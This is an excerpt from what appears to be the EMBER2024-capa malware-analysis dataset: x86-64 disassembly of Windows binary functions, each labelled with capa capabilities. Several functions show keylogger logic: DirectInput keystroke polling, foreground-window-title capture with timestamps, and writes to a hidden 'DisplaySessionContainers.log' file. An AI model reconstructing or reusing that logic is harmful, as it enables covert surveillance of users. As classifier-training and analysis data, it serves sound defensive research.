joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18000f780
Capabilities:
Create process on windows
Query environment variable

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0xa10]
sub rsp, 0xb10
mov rax, qword [0x18003ca90]
xor rax, rsp
mov qword [rbp + 0xa00], rax
mov rdi, rcx
mov esi, edx
lea rcx, [rbp - 0x20]
xor edx, edx
mov r8d, 0x208
call fcn.180017e30
mov edx, 0x2e
mov rcx, rdi
call fcn.1800169fc
mov rbx, rax
test rax, rax
je 0x18000f9cd
mov qword [rsp + 0xb38], r12
lea rcx, [rbp + 0x1f2]
xor r12d, r12d
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x1f0], r12w
call fcn.180017e30
lea edx, [r12 + 0x20]
mov rcx, rbx
call fcn.1800169fc
mov rcx, rbx
test rax, rax
je 0x18000f835
call qword [sym.imp.KERNEL32.dll_lstrlenW]
dec eax
movsxd rcx, eax
test eax, eax
jle 0x18000f852
cmp word [rbx + rcx*2], 0x20
je 0x18000f83b
dec rcx
dec eax
test rcx, rcx
jg 0x18000f822
jmp 0x18000f852
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rcx, [rbp + 0x1f0]
movsxd r9, eax
mov r8, rbx
mov edx, 0x104
call fcn.180015c88
lea r8, [rbp - 0x20]
lea rcx, [rbp + 0x1f0]
mov edx, 1
call fcn.18000f9f0
test eax, eax
je 0x18000f8e0
lea rcx, [rbp + 0x610]
xor edx, edx
mov r8d, 0x3e8
call fcn.180017e30
lea r8, [rbp - 0x20]
lea rdx, str._s_shellopencommand
lea rcx, [rbp + 0x610]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp - 0x20]
xor edx, edx
mov r8d, 0x208
call fcn.180017e30
lea rcx, [rbp + 0x402]
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x400], r12w
call fcn.180017e30
lea r8, [rbp + 0x400]
lea rcx, [rbp + 0x610]
mov edx, 2
call fcn.18000f9f0
test eax, eax
jne 0x18000f8e7
xor al, al
jmp 0x18000f9c5
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x400]
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea rdx, [0x1800349c0]
lea rcx, [rbp - 0x20]
call fcn.180016124
test rax, rax
jne 0x18000f948
lea rdx, [0x1800349c8]
lea rcx, [rbp - 0x20]
call fcn.180016124
test rax, rax
jne 0x18000f948
lea rdx, [0x180034098]
lea rcx, [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rcx, [rbp - 0x20]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0x18000f954
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
xor edx, edx
lea rcx, [rsp + 0x58]
lea r8d, [rdx + 0x60]
call fcn.180017e30
mov dword [rsp + 0x50], WSAGetLastError
test esi, esi
je 0x18000f97e
lea rax, str.WinSta0Default
mov qword [rsp + 0x60], rax
jmp 0x18000f98a
mov dword [rbp - 0x74], 1
mov word [rbp - 0x70], r12w
lea rax, [rbp - 0x40]
lea rdx, [rbp - 0x20]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x50]
xor r8d, r8d
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
xor ecx, ecx
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov al, 1
mov r12, qword [rsp + 0xb38]
mov rcx, qword [rbp + 0xa00]
xor rcx, rsp
call fcn.180014f50
mov rbx, qword [rsp + 0xb40]
add rsp, 0xb10
pop rdi
pop rsi
pop rbp
ret
Function at 0x18000f9f0
Capabilities:
Query or enumerate registry value

Disassembly:
mov dword [rsp + 0x10], edx
push rbx
push rsi
push rdi
sub rsp, 0x480
mov rax, qword [0x18003ca90]
xor rax, rsp
mov qword [rsp + 0x470], rax
mov rdi, r8
mov rsi, rcx
mov qword [rsp + 0x48], 0xffffffff80000000
xor ebx, ebx
xor edx, edx
mov r8d, 0x208
lea rcx, [rsp + 0x50]
call fcn.180017e30
xor edx, edx
mov r8d, 0x208
lea rcx, [rsp + 0x260]
call fcn.180017e30
nop
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
mov rdx, rsi
mov rcx, 0xffffffff80000000
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x18000fa78
or ebx, 0xffffffff
jmp 0x18000fc3b
mov eax, dword [rsp + 0x4a8]
test eax, eax
je 0x18000fc3b
cmp eax, 2
jbe 0x18000fbf0
cmp eax, 3
je 0x18000fba3
cmp eax, 4
je 0x18000fb4d
cmp eax, 7
jne 0x18000fc3b
mov dword [rsp + 0x30], 0x208
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x4a8]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x18000fc3b
lea rbx, [rsp + 0x50]
nop dword [rax]
cmp word [rbx], 0
je 0x18000fb40
mov r9d, 0x208
mov r8, rbx
mov edx, 0x104
lea rcx, [rsp + 0x260]
call fcn.180016ab0
mov r9d, 0x208
lea r8, [0x180034098]
mov edx, 0x104
lea rcx, [rsp + 0x260]
call fcn.180016ab0
xor edx, edx
mov rcx, rbx
call fcn.180016650
lea rbx, [rax + 2]
jmp 0x18000faf0
lea rdx, [rsp + 0x260]
jmp 0x18000fc2d
mov dword [rsp + 0x30], 4
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x4a8]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x18000fc3b
mov r8d, dword [rsp + 0x40]
lea rdx, [0x180033f90]
mov rcx, rdi
call qword [sym.imp.USER32.dll_wsprintfW]
jmp 0x18000fc36
mov dword [rsp + 0x30], 0x208
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
lea r9, [rsp + 0x4a8]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x18000fc3b
mov r8d, dword [rsp + 0x4a8]
lea rdx, str._08X
mov rcx, rdi
call qword [sym.imp.USER32.dll_wsprintfW]
jmp 0x18000fc36
mov dword [rsp + 0x30], 0x208
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x4a8]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x18000fc3b
lea rdx, [rsp + 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ebx, 1
mov rcx, 0xffffffff80000000
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
mov rcx, qword [rsp + 0x470]
xor rcx, rsp
call fcn.180014f50
add rsp, 0x480
pop rdi
pop rsi
pop rbx
ret
Function at 0x180011dd0
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
dec edx
jne 0x180011e14
cmp qword [0x1800461c8], 0
jne 0x180011e14
xor eax, eax
lea r8, [0x180011790]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
or edx, 0xffffffff
mov rcx, rax
mov qword [0x1800461c8], rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, 1
add rsp, 0x38
ret

Function at 0x180011e20
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
xor eax, eax
lea r8, [0x180011790]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
or edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
xor al, al
add rsp, 0x38
ret
Function at 0x180011e70
Capabilities:
Check mutex on windows
Delete file
Get common file path
Get file size
Log keystrokes via polling

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
sub rsp, 0x60
mov rax, qword [0x18003ca90]
xor rax, rsp
mov qword [rsp + 0x58], rax
xor r9d, r9d
mov rsi, rdx
mov rbp, rcx
lea r13, [0x180045cb0]
lea edx, [r9 + 0x23]
xor r8d, r8d
xor ecx, ecx
mov qword [rsp + 0x20], r13
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea rdx, str.DisplaySessionContainers.log
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov r8, r13
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
or edx, 0xffffffff
mov rcx, rax
mov qword [0x180046790], rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor r12d, r12d
xor r9d, r9d
mov qword [rsp + 0x30], r12
lea r8d, [r12 + 2]
mov edx, 0x40000000
mov rcx, r13
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_CreateFileW]
xor edx, edx
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebx, 0x3200000
jbe 0x180011f3b
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [0x180046790]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, qword [rsi]
lea r9, [0x1800461d8]
lea r8, [0x1800335d8]
mov edx, 0x800
mov qword [rsp + 0x20], r12
call qword [sym.imp.DINPUT8.dll_DirectInput8Create]
test eax, eax
jns 0x180011f74
xor al, al
jmp 0x180012051
mov rcx, qword [0x1800461d8]
lea r8, [0x1800461e0]
lea rdx, [0x1800335f8]
mov rax, qword [rcx]
xor r9d, r9d
call qword [rax + 0x18]
test eax, eax
js 0x180011f6d
mov rcx, qword [0x1800461e0]
lea rdx, [0x1800335b8]
mov rax, qword [rcx]
call qword [rax + 0x58]
test eax, eax
js 0x180011f6d
mov rcx, qword [0x1800461e0]
mov rdx, qword [rbp]
mov r8d, 0xa
mov rax, qword [rcx]
call qword [rax + 0x68]
test eax, eax
js 0x180011f6d
mov rcx, qword [0x1800461e0]
mov dword [rsp + 0x40], socket
mov qword [rsp + 0x44], reloc.WS2_32.dll_recv
mov dword [rsp + 0x4c], r12d
mov dword [rsp + 0x50], 0x3c
mov rax, qword [rcx]
lea r8, [rsp + 0x40]
mov edx, 1
call qword [rax + 0x30]
test eax, eax
js 0x180011f6d
mov rcx, qword [0x1800461e0]
mov rax, qword [rcx]
call qword [rax + gethostname]
test eax, eax
js 0x180011f6d
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, socket
mov dword [0x180046fd8], eax
call qword [sym.imp.USER32.dll_GetKeyState]
cmp ax, 0xff81
je 0x180012045
mov dword [0x18004679c], r12d
cmp ax, 1
jne 0x18001204f
mov dword [0x18004679c], 1
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.180014f50
mov rbx, qword [rsp + 0xa0]
add rsp, 0x60
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x180012080
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rdi, rcx
mov rcx, qword [0x180046790]
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor r9d, r9d
mov qword [rsp + 0x30], 0
lea rcx, [0x180045cb0]
lea r8d, [r9 + 2]
mov edx, 0x40000000
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180012131
mov r9d, 2
xor r8d, r8d
xor edx, edx
mov rcx, rax
mov dword [rsp + 0x58], 0
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea r9, [rsp + 0x58]
mov rdx, rdi
lea r8d, [rax + rax]
mov rcx, rbx
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x180046790]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret

Function at 0x180012140
Capabilities:
Get graphical window text

Disassembly:
push rbx
sub rsp, 0x870
mov rax, qword [0x18003ca90]
xor rax, rsp
mov qword [rsp + 0x860], rax
lea rcx, [0x1800467b0]
xor edx, edx
mov r8d, 0x800
call fcn.180017e30
call qword [sym.imp.USER32.dll_GetForegroundWindow]
lea rdx, [0x1800467b0]
mov rcx, rax
mov r8d, 0x800
mov qword [0x1800467a8], rax
call qword [sym.imp.USER32.dll_GetWindowTextW]
lea rcx, [rsp + 0x62]
xor ebx, ebx
xor edx, edx
mov r8d, 0x7fe
mov word [rsp + 0x60], bx
call fcn.180017e30
mov r11, qword [0x1800467a0]
cmp qword [0x1800467a8], r11
je 0x18001225c
lea rcx, [0x1800467b0]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jle 0x18001224e
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx edx, word [rsp + 0x58]
movzx ecx, word [rsp + 0x52]
movzx r11d, word [rsp + 0x5c]
movzx eax, word [rsp + 0x5a]
movzx r10d, word [rsp + 0x56]
movzx r9d, word [rsp + 0x50]
mov dword [rsp + 0x40], r11d
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], edx
mov dword [rsp + 0x28], r10d
mov dword [rsp + 0x20], ecx
lea rcx, [rsp + 0x60]
lea r8, [0x1800467b0]
lea rdx, [0x180034b40]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rsp + 0x60]
call fcn.180012080
lea rcx, [0x1800467b0]
xor edx, edx
mov r8d, 0x800
call fcn.180017e30
mov ebx, 1
mov rcx, qword [0x1800467a8]
mov qword [0x1800467a0], rcx
mov eax, ebx
mov rcx, qword [rsp + 0x860]
xor rcx, rsp
call fcn.180014f50
add rsp, 0x870
pop rbx
ret
Function at 0x18001bad7
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x18003ca90]
jne 0x180014f6a
rol rcx, 0x10
test cx, 0xffff
jne 0x180014f66
repz ret
ror rcx, 0x10
jmp 0x18001ba30
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x1800447b0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x1800448a8]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x18001bab5
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x1800447b0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x18001bad7
mov rax, qword [rsp + 0x88]
mov qword [0x1800448a8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x180044848], rax
mov rax, qword [0x1800448a8]
mov qword [0x180044720], rax
mov rax, qword [rsp + 0x90]
mov qword [0x180044830], rax
mov dword [0x180044710], 0xc0000409
mov dword [0x180044714], 1
mov rax, qword [0x18003ca90]
mov qword [rsp + 0x68], rax
mov rax, qword [0x18003ca98]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x1800447a8], eax
mov ecx, 1
call fcn.1800269f4
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x180030bd8]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x1800447a8], 0
jne 0x18001bb5e
mov ecx, 1
call fcn.1800269f4
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x180026b04
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x18003ca90]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.18001e118
xor ebx, ebx
cmp qword [0x180045800], rbx
mov rdi, rax
jne 0x180026c17
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x180026cee
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x180026cee
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x180045800], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x180045808], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x180045810], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x180045820], rax
test rax, rax
je 0x180026c0e
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x180045818], rax
jmp 0x180026c1e
mov rax, qword [0x180045818]
jmp 0x180026c25
mov rax, qword [0x180045818]
mov r11, qword [0x180045820]
cmp rax, rdi
je 0x180026c8c
cmp r11, rdi
je 0x180026c8c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x180045820]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x180026c8c
test rax, rax
je 0x180026c8c
call rsi
test rax, rax
je 0x180026c86
lea rcx, [rsp + 0x30]
mov r9d, reloc.WS2_32.dll_inet_ntoa
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x180026c86
test byte [rsp + 0x40], 1
jne 0x180026c8c
bts ebp, 0x15
jmp 0x180026ccc
mov rcx, qword [0x180045808]
cmp rcx, rdi
je 0x180026ccc
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x180026ccc
call rax
mov rbx, rax
test rax, rax
je 0x180026ccc
mov rcx, qword [0x180045810]
cmp rcx, rdi
je 0x180026ccc
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x180026ccc
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x180045800]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x180026cee
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x180026cf0
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.180014f50
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x142352058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1423521df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x142352089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14235206f
add dl, dl
jne 0x142352096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1423520f6
xor eax, eax
add dl, dl
jne 0x1423520a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1423521ad
add dl, dl
jne 0x1423520b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1423520c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1423520d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1423520dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1423520ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14235207e
mov eax, 1
add dl, dl
jne 0x142352106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x142352113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1423520fb
sub eax, ebx
mov ebx, 1
jne 0x14235214c
mov ecx, 1
add dl, dl
jne 0x14235212e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14235213b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x142352123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14235207e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x142352168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x142352175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14235215d
cmp eax, 0x7d00
jae 0x14235219b
cmp eax, 0x500
jb 0x142352196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14235207e
cmp eax, 0x7f
ja 0x14235219e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14235207e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1423521d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14235207e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x14028d7c0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14060c2e0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x14028d7e0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x14028d7e8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x14028d7e0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x14028d835
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x14028d82c
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x14028d7e0
add rax, 0x28
cmp rax, r9
jne 0x14028d818
xor eax, eax
ret

Function at 0x14028d840
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14060c2e0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x14028d860
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x14028d868
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x14028d860
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x14028d8f0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14060c2e0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x14028d910
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x14028d918
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret

Function at 0x366971870
Capabilities:
Get thread local storage value

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
lea rdi, [0x3669760a0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x366976080]
test rbx, rbx
je 0x3669718bc
mov ecx, dword [rbx]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
test rsi, rsi
je 0x3669718b6
test eax, eax
jne 0x3669718b6
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
jmp 0x36697188e
mov rcx, rdi
add rsp, 0x20
pop rbx
pop rsi
pop rdi
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x366971a70
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x366971a93
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
jne 0x366971a93
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x366971a94
Capabilities:
Enumerate pe sections

Disassembly:
xor r8d, r8d
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r9d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
cmp r8d, r9d
jae 0x366971ace
mov r10d, dword [rax + 0xc]
mov rcx, r10
cmp rdx, r10
jb 0x366971ac5
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x366971ad0
inc r8d
add rax, 0x28
jmp 0x366971aac
xor eax, eax
ret

Function at 0x366971b41
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x3669731d0]
mov r8, rcx
mov rcx, r9
call sym._ValidateImageBase
test eax, eax
je 0x366971b6d
mov rdx, r8
mov rcx, r9
sub rdx, r9
add rsp, 0x28
jmp sym._FindPESection
xor eax, eax
add rsp, 0x28
ret
Function at 0x140041110
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
xor ebx, ebx
mov r11, rdx
mov r9, rcx
mov r10d, ebx
cmp r8, 8
jb 0x140041157
mov rcx, r8
shr rcx, 3
imul rax, rcx, 0xfffffffffffffff8
add r8, rax
nop dword [rax]
nop dword [rax + rax]
mov rax, qword [r9]
add r9, 8
xor rax, qword [r11]
add r11, 8
or r10, rax
sub rcx, 1
jne 0x140041140
mov rdx, r10
shr rdx, 0x20
or edx, r10d
mov eax, edx
mov ecx, edx
shr eax, 8
or eax, edx
shr ecx, 0x10
and eax, 0xff00
or eax, ecx
movzx ecx, dl
shr eax, 8
or eax, ecx
test r8, r8
je 0x140041257
cmp r8, 8
jb 0x140041233
mov rdx, r8
lea r10, [r11 + 4]
and rdx, 0xfffffffffffffff8
mov rcx, r9
sub rcx, r11
xorps xmm4, xmm4
xorps xmm3, xmm3
nop word [rax + rax]
movd xmm2, dword [rcx + r10 - 4]
xorps xmm0, xmm0
movd xmm1, dword [r10 - 4]
lea r10, [r10 + 8]
punpcklbw xmm2, xmm0
add rbx, 8
punpcklwd xmm2, xmm0
punpcklbw xmm1, xmm0
punpcklwd xmm1, xmm0
pxor xmm2, xmm1
movd xmm1, dword [r10 - 8]
punpcklbw xmm1, xmm0
por xmm4, xmm2
movd xmm2, dword [rcx + r10 - 8]
punpcklbw xmm2, xmm0
punpcklwd xmm2, xmm0
punpcklwd xmm1, xmm0
pxor xmm2, xmm1
por xmm3, xmm2
cmp rbx, rdx
jb 0x1400411b0
por xmm3, xmm4
movdqa xmm0, xmm3
psrldq xmm0, 8
por xmm3, xmm0
movdqa xmm0, xmm3
psrldq xmm0, 4
por xmm3, xmm0
movd ecx, xmm3
or eax, ecx
cmp rbx, r8
jae 0x140041257
sub r9, r11
lea r10, [rbx + r11]
sub r8, rbx
nop dword [rax]
movzx edx, byte [r10 + r9]
movzx ecx, byte [r10]
lea r10, [r10 + 1]
xor edx, ecx
or eax, edx
sub r8, 1
jne 0x140041240
mov rbx, qword [rsp + 8]
test eax, eax
sete al
ret